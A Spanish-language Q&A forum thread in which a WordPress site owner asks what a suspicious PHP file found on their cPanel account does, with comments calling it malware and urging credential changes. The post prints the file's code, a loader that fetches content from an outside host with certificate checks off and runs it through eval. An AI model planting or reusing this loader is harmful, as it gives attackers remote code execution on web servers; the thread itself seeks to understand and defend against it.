0

Hace 2 dias como sorpresa pudimos ver que en una de nuestras cuentas de Cpanel, se creo un archivo muy curioso y ajeno al Wordpress, con un nombre aleatorio y con un codigo raro.

Obviamente tuvimos que eliminarlo por cuestiones de seguridad, sin embargo me gustaria saber que hace exactamente este codigo en PHP.

Debo aclarar que al ejecutar el archivo, el antivirus reacciona.

function get_contents($url){ 
$ch = curl_init("$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$result = curl_exec($ch);
return $result;
}
$a = get_contents('http://ndot.us/za');
eval('?>'.$a);

Tambien aprovechar, hay alguna manera de saber el origen de los archivos?

Saludos!

6
  • 1
    el antivirus reacciona, obviamente es un malware. Ahora, saber lo que hace sería complicado sin ejecutarlo y analizar el comportamiento, cosa que dudo mucho que alguien esté dispuesto a hacer. Te invito a leer Cómo preguntar y a realizar el recorrido de bienvenida. En mi opinión tu pregunta es off-topic, esperemos ver qué dice la comunidad. Saludos Commented el 14 jul. 2021 a las 12:46
  • 1
    No se exactamente lo que hace, pero veo que llama a una url que es un php. En el código hay accesos a bases de datos y forms y en fin, yo cambiaria todas las credenciales de acceso que tengas en el CPanel. O sea, todas, todas. Por prevención al menos.
    – Juan
    Commented el 14 jul. 2021 a las 12:56
  • >> Gracias Mauricio, siempre intento publicarlo de manera correcta, nose como puedo evitar una pregunta Off Topic, dado que no hay manera de agregar categoria e incluso algunas Tags que no me permite poner. >> Si, manejo PHP, pero lo que no comprendo es como pudo haberse infiltrado dicho archivo, necesito saberlo para cubrir esos huecos de seguridad. Ya he cambiado las contraseñas. Gracias a ambos.
    – LogicalWeb
    Commented el 14 jul. 2021 a las 13:05
  • Creo que leyendo la documentación de curl e intentando ingresar a la url se puede deducir que es y que hace. Sin duda tu hosting está expuesto
    – MR Dev
    Commented el 14 jul. 2021 a las 14:16
  • Alguna sugerencia de como evitar este tipo de ataques? en principio el servidor cuenta con las medidas de seguridad necesarias. pero no conozco a nivel profundo para ver aspectos mas detallados.
    – LogicalWeb
    Commented el 14 jul. 2021 a las 15:57

0

Tu Respuesta

By clicking “Publica tu respuesta”, you agree to our terms of service and acknowledge you have read our privacy policy.

Examina otras preguntas con la etiqueta o formula tu propia pregunta.